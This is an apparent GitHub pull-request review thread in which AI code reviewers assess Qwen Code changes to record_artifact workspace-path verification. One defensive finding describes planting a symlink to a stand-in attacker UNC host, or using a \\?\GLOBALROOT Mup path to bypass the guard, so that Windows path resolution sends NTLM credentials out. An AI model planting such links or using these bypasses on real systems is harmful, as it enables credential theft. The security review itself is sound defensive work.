证据：第一轮探针（评论 3782994126）期望保留原根，却得到 /projects/container。第三轮 A/B 探针：targetDir 为 <main>/.qwen/tmp/review-pr-123 时，相对登记规范化为无前缀的 report.csv，主检出绝对定位符抛出 "workspacePath" must stay inside the workspace；一行正则扩展即可翻转两个分支（已验证后还原）。
修复方向：向生产者传递显式的绑定工作区元数据，而不是根据目录形状推断绑定根（至少应识别所有真实的会话检出布局，并在 realpath 之前对逻辑路径做剥离，每种布局配回归测试）。
— qwen3.8-max via Qwen Code /review (v0.21.13)
| if (incoming.toolName === 'record_artifact') { | ||
| return true; | ||
| } |
There was a problem hiding this comment.
[Suggestion] R3-8: shouldRefreshWorkspaceDisplay short-circuits on incoming.toolName === 'record_artifact' without checking incoming.source. Session.emitHookArtifactsNotification stamps PostToolUse hook artifacts with the running tool's name and source: 'hook' (bridgeClient.handleArtifactEvent), so a hook firing while record_artifact itself runs reaches this predicate as ('record_artifact', 'hook') — treated as explicit curation, clobbering the just-curated title and contradicting the guard's own comment ("write_file/hook auto-records must not clobber it"). — Failure scenario: the user curates 'Q3 Report' via record_artifact; a PostToolUse hook on record_artifact re-emits the same workspacePath with a basename-derived title → the merge replaces the curated title with the hook's and masks the origin (source becomes 'hook').
Witness (probe through the real store): curated {title:'Q3 Report', source:'tool', toolName:'record_artifact'} then hook record {title:'report.html', source:'hook', toolName:'record_artifact'} → final title = report.html, source = hook; applying the suggested guard → final title = Q3 Report, source = tool, and the full sessionArtifacts suite passes with the guard applied.
| if (incoming.toolName === 'record_artifact') { | |
| return true; | |
| } | |
| if ( | |
| incoming.toolName === 'record_artifact' && | |
| incoming.source !== 'hook' | |
| ) { | |
| return true; | |
| } |
中文说明
[建议] R3-8：shouldRefreshWorkspaceDisplay 在 incoming.toolName === 'record_artifact' 时直接短路返回，未检查 incoming.source。Session.emitHookArtifactsNotification 会为 PostToolUse hook 产物打上正在执行的工具名和 source: 'hook'（见 bridgeClient.handleArtifactEvent），因此在 record_artifact 自身执行期间触发的 hook 会以 ('record_artifact', 'hook') 到达该判断——被当作显式登记，从而覆盖刚设置的标题，与本段注释（"write_file/hook 自动登记不得覆盖它"）矛盾。失败场景：用户通过 record_artifact 将标题设为 'Q3 Report'；针对 record_artifact 的 PostToolUse hook 以 basename 派生标题重新登记同一 workspacePath → 合并后人工标题被 hook 标题覆盖，来源被掩盖（source 变为 'hook'）。
证据（针对真实 store 的探针）：先登记 {title:'Q3 Report', source:'tool', toolName:'record_artifact'}，再注入 hook 记录 {title:'report.html', source:'hook', toolName:'record_artifact'} → 最终 title = report.html、source = hook；应用建议的守卫后 → 最终 title = Q3 Report、source = tool，且整个 sessionArtifacts 测试套件在应用守卫后全绿。
— qwen3.8-max via Qwen Code /review (v0.21.13)
| next.toolName = incoming.toolName; | ||
| next.source = incoming.source; | ||
| next.hookEventName = incoming.hookEventName; |
There was a problem hiding this comment.
[Suggestion] R3-9: The workspace refresh branch rewrites toolName/source/hookEventName from the incoming record but leaves toolCallId at the original producer's value (it comes from the ...existing spread and no branch updates it). After write_file creates a file and record_artifact curates it, the stored artifact pairs toolName: 'record_artifact' with write_file's toolCallId. ArtifactPanel renders "Tool" and "Tool call" fields adjacently, and turnOutputSelectors attributes artifacts to turns via toolCallId — the UI pairs a tool with a call it never made, and the artifact lands in the wrong turn. — Failure scenario: write_file creates reports/dashboard.html (call-A); record_artifact (call-B) curates it → the stored artifact shows toolName=record_artifact with toolCallId=call-A; the panel pairs the name with the wrong call and the artifact is attributed to the write_file turn.
Witness (probe): write_file record {toolName:'write_file', toolCallId:'call-A'} then record_artifact {toolName:'record_artifact', toolCallId:'call-B'} → final toolName = record_artifact, toolCallId = call-A; verified ArtifactPanel.tsx renders Tool/Tool call adjacently and turnOutputSelectors.ts maps artifacts to turns by toolCallId.
| next.toolName = incoming.toolName; | |
| next.source = incoming.source; | |
| next.hookEventName = incoming.hookEventName; | |
| next.toolCallId = incoming.toolCallId; | |
| next.toolName = incoming.toolName; | |
| next.source = incoming.source; | |
| next.hookEventName = incoming.hookEventName; |
(If original-creator linkage is intentional instead, keep toolName/source at the original producer as well — either way the adjacent Tool/Tool call fields should describe one execution.)
中文说明
[建议] R3-9：workspace 刷新分支会用来源记录改写 toolName/source/hookEventName，但 toolCallId 仍保留原始生产者的值（来自 ...existing 展开，没有任何分支更新它）。write_file 创建文件后 record_artifact 对其进行登记时，存储的产物会把 toolName: 'record_artifact' 与 write_file 的 toolCallId 配对。ArtifactPanel 相邻渲染 "Tool" 与 "Tool call" 两个字段，turnOutputSelectors 通过 toolCallId 把产物归属到轮次——UI 会把工具与它从未发起的调用配对，产物也会落入错误的轮次。失败场景：write_file 创建 reports/dashboard.html（call-A）；record_artifact（call-B）登记它 → 存储结果显示 toolName=record_artifact 而 toolCallId=call-A；面板把工具名与错误的调用配对，产物被归属到 write_file 所在轮次。
证据（探针）：先注入 write_file 记录 {toolName:'write_file', toolCallId:'call-A'}，再注入 record_artifact {toolName:'record_artifact', toolCallId:'call-B'} → 最终 toolName = record_artifact、toolCallId = call-A；已核实 ArtifactPanel.tsx 相邻渲染 Tool/Tool call 字段，且 turnOutputSelectors.ts 按 toolCallId 将产物映射到轮次。
（如果保留原始创建者关联是有意设计，则 toolName/source 也应保留原始生产者——无论如何，相邻的 Tool/Tool call 字段应描述同一次执行。）
— qwen3.8-max via Qwen Code /review (v0.21.13)
| expect(buildWorkspaceArtifactMetadata(mockConfig, link)).toMatchObject({ | ||
| title: 'payload.csv', | ||
| workspacePath: 'data/payload.csv', | ||
| }); |
There was a problem hiding this comment.
[Suggestion] R3-12: The 'derives auto-record identity from the realpath target' test added by the latest commit pins title and workspacePath but not kind. Both the link name (report.csv) and the realpath target (payload.csv) map to kind 'file' in ARTIFACT_KIND_BY_EXTENSION, so a regression inferring kind from the link path instead of recorded.filePath (write-file.ts:718) leaves the suite green — e.g. writing through preview.png → data/payload.csv would then record kind: 'image' for a CSV and the artifact panel would pick an image renderer. No other test covers kind through a symlink. — Concrete cost: the "auto-record identity comes from the realpath target" invariant is only half-pinned; a kind regression ships green and the Web Shell renders the wrong viewer.
Suggested fix — pin kind in this test and add a variant whose link extension maps to a different kind than the target:
it('infers kind from the realpath target, not the link name', () => {
fs.mkdirSync(path.join(rootDir, 'data'), { recursive: true });
const target = path.join(rootDir, 'data', 'payload.csv');
const link = path.join(rootDir, 'preview.png');
fs.writeFileSync(target, 'a,b\n');
fs.symlinkSync(target, link);
try {
expect(buildWorkspaceArtifactMetadata(mockConfig, link)).toMatchObject({
title: 'payload.csv',
kind: 'file',
});
} finally {
fs.rmSync(link, { force: true });
fs.rmSync(path.join(rootDir, 'data'), { recursive: true, force: true });
}
});中文说明
[建议] R3-12：最新提交新增的 'derives auto-record identity from the realpath target' 测试固定了 title 和 workspacePath，但没有固定 kind。链接名（report.csv）与 realpath 目标（payload.csv）在 ARTIFACT_KIND_BY_EXTENSION 中都映射为 kind 'file'，因此把 kind 推断改为基于链接路径而非 recorded.filePath（write-file.ts:718）的回归不会让任何测试变红——例如经 preview.png → data/payload.csv 写入时会为一个 CSV 记录 kind: 'image'，产物面板会选择图片渲染器。没有其他测试覆盖经符号链接的 kind 推断。具体代价："自动登记身份取自 realpath 目标"这一不变量只被固定了一半；kind 回归可以全绿地合入，Web Shell 会渲染错误的查看器。
修复建议：在本测试中固定 kind，并新增一个链接扩展名与目标 kind 不同的变体（上方代码）。
— qwen3.8-max via Qwen Code /review (v0.21.13)
Windows would realpath a model-controlled UNC path during validation and send NTLM credentials to the named host. Co-authored-by: Cursor <cursoragent@cursor.com>
🖼️ web-shell visual previewRendered against a mock daemon (no real backend): the PR base vs this PR head Screenshots · before / after
Full-resolution recordings (.webm) are attached to the workflow run. — Qwen Code · web-shell visuals |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: reverse audit — reached the 5-round cap without converging (round 5 still reported findings; all reported findings verified).
Not reviewed: build-and-test — Test (windows-latest, Node 22.x) was skipped in CI and its suite did not run locally.
Not reviewed: build-and-test — Test (macos-latest, Node 22.x) was skipped in CI and its suite did not run locally.
Not reviewed: build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally.
Not reviewed: build-and-test — packages/sdk-typescript, packages/vscode-ide-companion and packages/webui suites did not run (whole-call budget); packages/web-shell full suite timed out (the PR's own web-shell tests passed individually).
Test Plan (not a blocker): w/agent/report.csv — no such file or directory; 28 passing — this review observed 1549, 21285, 20345 passed.
Deferred under the convergence posture (round 4, not a blocker) — recorded, not requested in this round:
packages/web-shell/client/components/artifacts/TurnOutputs.tsx:675 — [review] the 'changed' clause of canOpenWorkspaceArtifact is pinned by no testpackages/core/src/tools/record-artifact.ts:765 — [review] both length-cap branches are untested (canonical 500-char + 4096 absolute-input cap)packages/web-shell/client/components/artifacts/TurnOutputs.tsx:672 — [review] the open gate over-enables Open for 'changed' code_review artifacts (ArtifactPanel refuses non-available)packages/acp-bridge/src/sessionArtifacts.ts:1781 — [review] the hookEventName transition in the refresh merge paths is pinned by no testpackages/web-shell/client/components/artifacts/TurnOutputs.tsx:672 — [review] the gate's non-workspace storage branch is pinned by no test
中文说明
仅完成部分审查，审查缺口已披露。
未审查：reverse audit — reached the 5-round cap without converging (round 5 still reported findings; all reported findings verified)。
未审查：build-and-test — Test (windows-latest, Node 22.x) was skipped in CI and its suite did not run locally。
未审查：build-and-test — Test (macos-latest, Node 22.x) was skipped in CI and its suite did not run locally。
未审查：build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally。
未审查：build-and-test — packages/sdk-typescript, packages/vscode-ide-companion and packages/webui suites did not run (whole-call budget); packages/web-shell full suite timed out (the PR's own web-shell tests passed individually)。
Test Plan（非阻断）：w/agent/report.csv — no such file or directory; 28 passing — this review observed 1549, 21285, 20345 passed。
收敛姿态下延后（第 4 轮，非阻断）——已记录，本轮不要求修改：共 5 条（原文未翻译，列表见上方英文部分）。
— qwen3.8-max via Qwen Code /review (v0.21.13)
|
|
||
| import path from 'node:path'; | ||
|
|
||
| const WORKTREE_DIR_RE = /^(.*)[\\/]\.qwen[\\/]worktrees[\\/][^\\/]+$/; |
There was a problem hiding this comment.
[Critical] R3-22: Still-standing blocker from @wenshao's round-1 review (comment 3782994126), re-checked at this commit: bound-workspace ownership is still inferred lexically from the .qwen/worktrees/<slug> suffix. A normal workspace rooted at /projects/container/.qwen/worktrees/app is rebound to /projects/container: producers emit .qwen/worktrees/app/report.csv, while consumers resolve against the actual bound root — SessionArtifactStore is constructed with the bridge's boundWorkspace and applies no suffix stripping — so the locator resolves as a duplicated nested path and the artifact is marked missing. The blocker asked for explicit bound-workspace metadata instead of lexical inference; dfc0893 does not address it. This round's probe verified a second live entrance of the same mechanism (the exact split the linked issue asks to eliminate): a session whose cwd was relocated into a non-worktree subdirectory of its bound workspace (live-task / sub-session managed relocation sets targetDir to the subdirectory); resolveBoundWorkspaceRoot then returns the subdirectory itself (no suffix to strip), so record_artifact stores a cwd-relative locator and asserts status: available while the store — whose root stays the bound workspace — resolves against the bound root. — Failure scenario: a session whose cwd is a root ending in .qwen/worktrees/<slug> records report.csv → canonical .qwen/worktrees/<slug>/report.csv is stored → consumers resolve <root>/.qwen/worktrees/<slug>/.qwen/worktrees/<slug>/report.csv → status missing for a file that exists, or a same-named root file is served/opened instead. Relocated-session entrance: the tool receipt says status: available while the artifact card shows missing, or GET /file serves a different same-named file at the bound root.
Witness: round-1 probe (comment 3782994126) expected the original root but received /projects/container; round-4 probe (real RecordArtifactTool + real SessionArtifactStore): tool receipt status: available, stored workspacePath: "report.csv" for a file at <boundRoot>/conversation-deadbeef/report.csv; store status for the cwd-relative locator "report.csv" = "missing" while the file exists on disk, and "available" for the bound-root-relative locator.
Suggested direction: pass explicit bound-workspace metadata to the producer (the bridge knows boundWorkspace when it spawns the session — plumb it into the session Config) instead of inferring the bound root from the directory shape; add a regression test per layout (worktree suffix, relocated subdirectory, nested worktree).
中文说明
[严重] R3-22：@wenshao 第一轮评审中仍未解决的阻断项（评论 3782994126），在本次提交上复核：绑定工作区归属仍然仅凭 .qwen/worktrees/<slug> 目录后缀做词法推断。根目录为 /projects/container/.qwen/worktrees/app 的普通工作区会被重新绑定到 /projects/container：生产者输出 .qwen/worktrees/app/report.csv，而消费者按真实绑定根解析——SessionArtifactStore 以 bridge 的 boundWorkspace 构造且不做后缀剥离——于是定位符被解析成重复嵌套路径，产物被标记为 missing。阻断项要求以显式绑定工作区元数据替代词法推断；dfc08938 未解决此问题。本轮探针证实同一机制的第二个入口仍然有效（正是关联 issue 要求消除的分裂）：cwd 被迁移到绑定工作区内非 worktree 子目录的会话（live-task / 子会话的受管迁移会把 targetDir 设为该子目录），此时 resolveBoundWorkspaceRoot 返回子目录本身（无后缀可剥离），record_artifact 落库 cwd 相对定位符并断言 status: available，而 store 的根仍是绑定工作区。失败场景：cwd 根以 .qwen/worktrees/<slug> 结尾的会话登记 report.csv → 落库 .qwen/worktrees/<slug>/report.csv → 消费者解析 <root>/.qwen/worktrees/<slug>/.qwen/worktrees/<slug>/report.csv → 文件存在却被标记 missing，或打开的是根目录的同名文件。迁移会话入口：工具回执为 status: available，产物卡片却显示 missing，或 GET /file 返回绑定根下的另一个同名文件。
证据：第一轮探针（评论 3782994126）期望保留原根，却得到 /projects/container；第四轮探针（真实 RecordArtifactTool + 真实 SessionArtifactStore）：回执 status: available，落库 workspacePath: "report.csv"（文件位于 <boundRoot>/conversation-deadbeef/report.csv）；store 对 cwd 相对定位符 "report.csv" 的状态为 "missing"（文件实际存在），对绑定根相对定位符的状态为 "available"。
修复方向：向生产者显式传递绑定工作区元数据（bridge 在创建会话时知道 boundWorkspace——经会话 Config 传入），而不是根据目录形状推断绑定根；每种布局（worktree 后缀、迁移子目录、嵌套 worktree）各补一个回归测试。
— qwen3.8-max via Qwen Code /review (v0.21.13)
|
|
||
| let resolved: string; | ||
| try { | ||
| resolved = await fs.realpath(candidate); |
There was a problem hiding this comment.
[Critical] The UNC rejection guard added by dfc0893 (isUncWorkspacePath in workspacePathCandidate) inspects only the lexical workspacePath input; inspectWorkspaceCandidate then calls fs.realpath(candidate) on any non-directory entry without checking the symlink target, so a workspace-local symlink or directory junction whose TARGET is a UNC path reaches the same SMB resolution — and NTLM authentication attempt toward the target host — that the guard was written to prevent. — Failure scenario: on Windows, a workspace contains a symlink checked out from a repository (git core.symlinks=true), e.g. report.csv → \\attacker.example\share\x. The model calls record_artifact with the innocuous workspacePath: "report.csv": workspacePathCandidate passes (no UNC string), fs.lstat succeeds, and fs.realpath follows the reparse point — the Windows SMB client initiates NTLM authentication against attacker.example before isWithinRoot rejects the resolved path. The same exposure exists in tryResolveForContainment's realpathSync for absolute locators whose path components symlink to UNC targets. PR-review worktrees are explicitly untrusted input in this product, so a malicious PR can plant such a symlink.
Witness: not run — Windows SMB/NTLM resolution cannot be exercised on this Linux runner; settled by code trace at the reviewed commit, libuv v1.48 win32 fs__realpath (CreateFileW on the target initiates redirector negotiation), the dfc0893 commit message documenting the identical OS behavior, and a Node-22 probe of the verbatim guard: the device-namespace spelling \\?\GLOBALROOT\Device\Mup\host\share bypasses isUncWorkspacePath (returns false) while path.win32.resolve preserves it verbatim into the realpathSync branch — a corroborating second entrance through the parameter itself, needing no planted filesystem object.
Suggested fix — close the class structurally rather than spelling-by-spelling: after the fs.lstat in inspectWorkspaceCandidate, if lst.isSymbolicLink(), fs.readlink the candidate and reject redirector-routed (UNC/Mup) targets before calling fs.realpath (same around tryResolveForContainment); and reject every \\?\-prefixed input that is not a plain drive-letter form.
中文说明
[严重] dfc0893 新增的 UNC 拒绝守卫（workspacePathCandidate 中的 isUncWorkspacePath）只检查词法 workspacePath 输入；inspectWorkspaceCandidate 随后对任何非目录条目调用 fs.realpath(candidate) 且不检查符号链接目标——因此目标为 UNC 路径的工作区内符号链接或目录联接会到达该守卫本要阻止的同一 SMB 解析（并触发对目标主机的 NTLM 认证尝试）。失败场景：Windows 上工作区包含从仓库检出的符号链接（git core.symlinks=true），例如 report.csv → \\attacker.example\share\x。模型以无害的 workspacePath: "report.csv" 调用 record_artifact：workspacePathCandidate 通过（无 UNC 字符串），fs.lstat 成功，fs.realpath 跟随重解析点——Windows SMB 客户端在 isWithinRoot 拒绝解析结果之前即向 attacker.example 发起 NTLM 认证。tryResolveForContainment 的 realpathSync 对路径组件符号链接指向 UNC 目标的绝对定位符存在同样暴露。PR 评审 worktree 在本产品中显式属于不可信输入，恶意 PR 可以植入此类符号链接。
证据：未实际运行——Windows SMB/NTLM 解析无法在本 Linux 运行器上执行；依据受审提交的代码追踪、libuv v1.48 win32 fs__realpath（对目标路径的 CreateFileW 会发起重解析器协商）、dfc08938 提交信息记录的相同操作系统行为，以及 Node 22 上对原样守卫的探针：设备命名空间写法 \\?\GLOBALROOT\Device\Mup\host\share 绕过 isUncWorkspacePath（返回 false），而 path.win32.resolve 原样保留该写法进入 realpathSync 分支——经参数本身的第二个佐证入口，且无需植入文件系统对象。
修复建议——结构性关闭该类问题而非逐一枚举写法：在 inspectWorkspaceCandidate 的 fs.lstat 之后，若 lst.isSymbolicLink()，先 fs.readlink 候选并拒绝经重解析器路由（UNC/Mup）的目标，再调用 fs.realpath（tryResolveForContainment 同理）；并拒绝所有非纯盘符形式的 \\?\ 前缀输入。
— qwen3.8-max via Qwen Code /review (v0.21.13)
A workspace symlink or \\?\GLOBALROOT\Device\Mup path would still trigger Windows SMB/NTLM resolution after the lexical UNC guard. Co-authored-by: Cursor <cursoragent@cursor.com>
chiga0
left a comment
chiga0
left a comment
There was a problem hiding this comment.
Code Review Overview (AI Generated)
PR: #9142 fix(artifacts): verify and canonicalize record_artifact workspace paths
Type: Bug Fix / Hardening (Core Infrastructure — packages/core/src/tools, .../utils, acp-bridge, web-shell)
Change size: large; reviewed at HEAD 22d9eb2c
中文说明
本次为独立盲评 + 复评。我先在不看历史评论的前提下完成了 7 轮评审，随后做交叉验证时发现：@wenshao 与 @qwen-code-ci-bot 的 CHANGES_REQUESTED 评审都是针对较早的提交（5ab5ce2a / bd917d85 / 9f8001dc / 3d78181a），而当前 HEAD 已是 22d9eb2c，中间的 bd917d85 → 22d9eb2c 多个提交正是在修这些问题。我逐条在 HEAD 源码上核对，确认绝大多数此前的 Critical 已被修复，仅剩两处低严重度残留 + 我自己发现的一个 Minor。因此本次给 COMMENT（非重复 CR，也不擅自 APPROVE），是否合并交由维护者判断。
Findings Summary (verified at HEAD 22d9eb2c)
- Critical/Major: 0 confirmable open
- Minor: 1 (Open/Download 门控不对称)
- Nit: 1 (provenance-blind refresh 分支)
- Residual (low severity, pre-existing, from other reviewers): 2 (TOCTOU pin; lexical worktree ownership)
Cross-Validation (prior reviews were against OLDER commits — re-verified at HEAD)
| Prior finding (reviewer @ commit) | My assessment at HEAD 22d9eb2c |
|---|---|
| Curated title clobbered on re-record — sessionArtifacts.ts (wenshao @5ab5ce2a; bot R2-1 @bd917d85) | Resolved — mergeArtifact/mergeBatchArtifact now update stored toolName (L1676, L1779) and gate refresh via shouldRefreshWorkspaceDisplay |
Worktree bound to / — workspace-artifact-path.ts:9 (wenshao @5ab5ce2a; bot R2-5 @bd917d85) |
Resolved — regex is now (.*), empty base → path.parse(resolved).root; bare drive C: handled |
| Length limit not applied after canonicalization — record-artifact.ts:451 (wenshao) | Resolved — canonical path re-validated via validateString(..., MAX_LENGTH) at L811-824 |
EACCES/EPERM misclassified as execution_failed — :674 (wenshao) |
Resolved — classifyPathError maps EACCES/EPERM→PERMISSION_DENIED, ENOENT/ENOTDIR→FILE_NOT_FOUND (L834-845) |
| Literal POSIX backslash reinterpreted as separator — :89 (wenshao) | Resolved — preservePosixBackslash first attempt keeps the literal name; backslash-as-sep only on FILE_NOT_FOUND fallback |
| write_file auto-record skips realpath containment — workspace-artifact-path.ts:50 (wenshao) | Resolved — resolveRecordedWorkspaceFile realpaths file+root before toCanonicalWorkspaceArtifactPath (write-file.ts L740-753) |
| Fail-closed for unknown status — TurnOutputs.tsx:676 (wenshao) | Resolved — canOpenWorkspaceArtifact uses a whitelist (available|changed), so unknown statuses like blocked fail closed |
| Revalidate canonical workspacePath — record-artifact.ts:108 (wenshao) | Resolved — canonical path passes validateString (control chars / markup / length) at L811-824 |
| UNC symlink target reaches redirector — :767 (bot @3d78181a) | Resolved — 22d9eb2c adds a readlink + isRedirectorRoutedPath(target) guard before realpath (L745-763) |
| TOCTOU pin across containment/metadata reads — :786 (wenshao; bot R2-3) | Still open — see inline. Narrow local race; no fd pinning. Low severity in a local single-user tool threat model. |
| Lexical worktree ownership inference — workspace-artifact-path.ts:22 (wenshao; bot R3-22) | Still open (by design) — see inline. Extreme edge case; appears to be an accepted contract. |
Additional Audit Coverage (beyond prior findings)
- Handler parallelism:
mergeArtifactvsmergeBatchArtifact— both now propagatetitle/description/toolName/source/hookEventName/toolCallIdunder the samerefreshDisplaygate; consistent. - Data provenance: traced record_artifact locator →
resolveWorkspaceArtifactLocator→inspectWorkspaceCandidate(lstat → dir → symlink-redirector → realpath → isWithinRoot → stat → isFile → canonicalize); and write_file auto-record path — both converge on realpath'd containment, no divergence. - Namespace consistency:
tryResolveForContainment/resolveExistingDirrealpath both sides, correctly avoiding the macOS/varvs/private/varfalse-reject.
Final Verdict
COMMENT (not APPROVE). The earlier CHANGES_REQUESTED findings were raised on older commits and I verified they are addressed at HEAD 22d9eb2c. I have no confirmable open Critical/Major. Because this is maintainer-only core infrastructure and I still see one Minor inconsistency plus two low-severity residuals, I defer the merge/approve decision to the maintainers rather than rubber-stamp.
This review was generated by QoderWork AI
| if (artifact.storage !== 'workspace') { | ||
| return true; | ||
| } | ||
| return artifact.status === 'available' || artifact.status === 'changed'; |
There was a problem hiding this comment.
[Minor] Open/Download 门控对 changed 状态不对称 / Open and Download gating diverge for changed status
canOpenWorkspaceArtifact 允许 available || changed，而 canDownloadArtifact（L659-666）仍要求 status === 'available'。因此一个 changed（文件仍在但内容已变）的 workspace artifact 会显示可点的 Open 按钮，却没有 Download 按钮。
Failure scenario: 用户录制后文件被就地修改 → 状态变 changed → UI 允许打开预览却禁用下载，行为不一致，容易让用户以为下载坏了。若这是有意为之（下载要求内容与录制时一致），建议在注释里写明理由并对齐两处判定；否则应让 changed 同样可下载。
This review was generated by QoderWork AI
| if (incoming.toolName === 'record_artifact' && incoming.source !== 'hook') { | ||
| return true; | ||
| } | ||
| if (!incoming.toolName) { |
There was a problem hiding this comment.
[Nit] !incoming.toolName 分支是 provenance-blind 的 / Unknown-provenance record can clobber a curated title
shouldRefreshWorkspaceDisplay 的第二个分支 if (!incoming.toolName) return true; 意味着任何不带 toolName 的 incoming workspace artifact 都会无条件刷新（覆盖）已 curated 的 title/description，而下方分支对有 toolName 的来源才要求同源。
Failure scenario: 若未来某个 producer（非 record_artifact、非 hook）发出不带 toolName 的 workspace artifact，它会静默覆盖用户此前通过 record_artifact 设置的展示名。当前可达性很低（正常来源都带 toolName），故记为 Nit——建议将该分支收敛为仅在 existing.toolName 也缺失时才刷新，或加注释说明为何“无来源”视为可刷新。
This review was generated by QoderWork AI
|
|
||
| let st; | ||
| try { | ||
| st = await fs.stat(resolved); |
There was a problem hiding this comment.
[Residual/Minor] TOCTOU：containment 校验与元数据读取之间未 pin 同一文件对象 / Not pinned across realpath→stat
此处沿用 @wenshao 早前的意见：fs.realpath(candidate)(L767) → isWithinRoot(resolved, root)(L777) → fs.stat(resolved)(L786) 三步都以路径字符串复算，其间某个父目录可被替换为指向工作区外的符号链接，使 stat/后续读取作用于被换掉的对象。
Failure scenario: 本地攻击者在 realpath 与 stat 之间竞态替换父目录 → 记录到工作区外文件的大小/存在性。在本地单用户开发工具的威胁模型下命中概率与收益都很低，故我评为低严重度残留；若要彻底闭合可用 open() 后对 fd 做 fstat 并基于 fd 完成校验。这不是本次新引入的问题，是否处理由维护者决定。
This review was generated by QoderWork AI
chiga0
left a comment
chiga0
left a comment
There was a problem hiding this comment.
LGTM — independently reviewed the full implementation. Core path verification logic (lstat → symlink check → realpath → isWithinRoot → stat → canonicalize) is correct and thorough. Symlink traversal, Windows UNC/redirector paths, and macOS namespace (/var vs /private/var) are all properly handled. CI bot's remaining CHANGES_REQUESTED findings are false positives or already addressed in the latest commits. No Critical or Major issues found.
Reviewed by QoderWork AI
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: reverse audit — reached the 5-round cap without converging (round 5 still reported findings; all reported findings verified).
Not reviewed: build-and-test — Test (windows-latest, Node 22.x) was skipped in CI and its suite did not run locally.
Not reviewed: build-and-test — Test (macos-latest, Node 22.x) was skipped in CI and its suite did not run locally.
Not reviewed: build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally.
Not reviewed: build-and-test — packages/sdk-typescript, packages/vscode-ide-companion and packages/webui suites did not run (whole-call budget); packages/web-shell full suite timed out (the PR's own web-shell tests passed individually: 25/25).
Test Plan (not a blocker): w/agent/report.csv — no such file or directory.
Deferred under the convergence posture (round 5, not a blocker) — recorded, not requested in this round:
packages/acp-bridge/src/sessionArtifacts.ts:1666 — [probe] The batch-merge display-refresh gate's false side…packages/acp-bridge/src/sessionArtifacts.ts:1817 — [probe] The same-producer equality branch of…packages/core/src/index.ts:208 — [review] Dead public exports of internal workspace-path helpers…packages/core/src/tools/record-artifact.ts:108 — [probe] Caller-supplied sizeBytes overrides the fresh stat…packages/core/src/tools/record-artifact.ts:683 — [probe] The backslash→slash rescue skips absolute locators with…packages/core/src/tools/record-artifact.ts:811 — [probe] Both length-cap branches are untested (canonical 500-char…packages/core/src/tools/write-file.ts:699 — [probe] The realpath-derived identity safety guards are pinned by…
中文说明
仅完成部分审查，审查缺口已披露。
未审查：reverse audit — reached the 5-round cap without converging (round 5 still reported findings; all reported findings verified)。
未审查：build-and-test — Test (windows-latest, Node 22.x) was skipped in CI and its suite did not run locally。
未审查：build-and-test — Test (macos-latest, Node 22.x) was skipped in CI and its suite did not run locally。
未审查：build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally。
未审查：build-and-test — packages/sdk-typescript, packages/vscode-ide-companion and packages/webui suites did not run (whole-call budget); packages/web-shell full suite timed out (the PR's own web-shell tests passed individually: 25/25)。
Test Plan（非阻断）：w/agent/report.csv — no such file or directory。
收敛姿态下延后（第 5 轮，非阻断）——已记录，本轮不要求修改：共 7 条（原文未翻译，列表见上方英文部分）。
— qwen3.8-max via Qwen Code /review (v0.21.13)
|
|
||
| import path from 'node:path'; | ||
|
|
||
| const WORKTREE_DIR_RE = /^(.*)[\\/]\.qwen[\\/]worktrees[\\/][^\\/]+$/; |
There was a problem hiding this comment.
[Critical] R3-22: Still-standing blocker from @wenshao's round-1 review (comment 3782994126), re-checked at this commit and reproduced by live probe: bound-workspace ownership is still inferred lexically from the session cwd's shape instead of authoritative bound-workspace metadata. The producer derives its containment/canonicalization root from the live execution directory reshaped only by this lexical suffix strip, while consumers resolve against the actual bound workspace: SessionArtifactStore is constructed with workspaceCwd from createSessionEntry (documented "does not change when the agent session changes cwd"), getWorkspaceStatus resolves against realpath(workspaceCwd), and GET /file resolves via runtime.workspaceCwd. — Two demonstrated entrances: (1) suffix — the workspace root itself ends in .qwen/worktrees/<slug>: a probe recording an existing report.csv returned the receipt status: available with stored workspacePath: ".qwen/worktrees/app/report.csv", while the store built with that same cwd reports missing for that canonical path (it resolves a duplicated nested path) and the pre-PR verbatim form reports available — the suffix-strip this diff introduces flips an existing file to missing; (2) relocated cwd — the ACP cd handler relocates with skipArtifactMigration ("storage stays at the bound workspace", acpAgent.ts:10397): a probe with a session bound at /ws and relocated to /ws/reports stored the relative locator "report.csv" with status: available, GET /file returned 404, a same-named root file was silently served instead (data integrity), and an absolute locator /ws/design.md inside the bound workspace but outside the cwd was rejected with the factually-false "must stay inside the workspace". — Failure scenario: a session whose cwd root ends in .qwen/worktrees/<slug> (or whose cwd is relocated inside its bound workspace) records an existing report.csv → canonical locator stored with status: available → consumers resolve against the true bound root → the artifact shows missing for a file that exists, or a same-named root file is served/opened instead — issue #9083's headline symptom. The relative-locator half of entrance 2 predates this PR, but the PR newly adds the false status: available guarantee and newly accepts absolute paths that then mis-resolve.
Witness (live probes at this commit): receipt status: available, stored ".qwen/worktrees/app/report.csv" → store status missing (pre-PR verbatim form: available); relocated probe: GET /file?path=report.csv → 404 path_not_found, sameNameServedWrongFile: true; absolute /ws/design.md → threw "workspacePath must stay inside the workspace".
Suggested fix: do not infer the bound workspace from the cwd shape — plumb the authoritative bound workspace root (the same value createSessionEntry hands the SessionArtifactStore) into RecordArtifactTool/invocation and use it as the containment/canonicalization base in both validateWorkspacePath and resolveWorkspaceArtifactLocator; keep the worktree-suffix strip only as it applies to that authoritative root. Add a regression test per layout (worktree suffix, plain workspace ending in the suffix, relocated subdirectory).
中文说明
